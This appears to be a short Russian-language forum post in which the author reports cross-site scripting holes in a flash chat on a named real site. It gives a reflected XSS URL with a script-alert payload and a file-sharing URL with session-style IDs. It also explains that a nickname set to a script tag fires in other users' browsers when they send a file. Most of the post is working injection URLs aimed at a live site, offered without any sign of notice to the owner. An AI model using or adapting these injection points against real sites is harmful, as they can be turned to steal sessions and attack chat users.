насчет флэш чатов не наю как они устроины, но решил проверить на алерты:

_http://chat.russencity.de/flashchat/info.php?="><script>alert(/Kaban/)</script>


_http://chat.russencity.de/flashchat/sharefile.php?userid=506&toid=508&roomid=1&lang=gm &connid=e049b998eada946bce1372119d60433
если сделать свой ник например <script>alert(/Kaban/)</script> и зайти на эту ссылку или пользователю нажать в меню "отослать файл", то алертик будет =)


на большее меня не хватило =)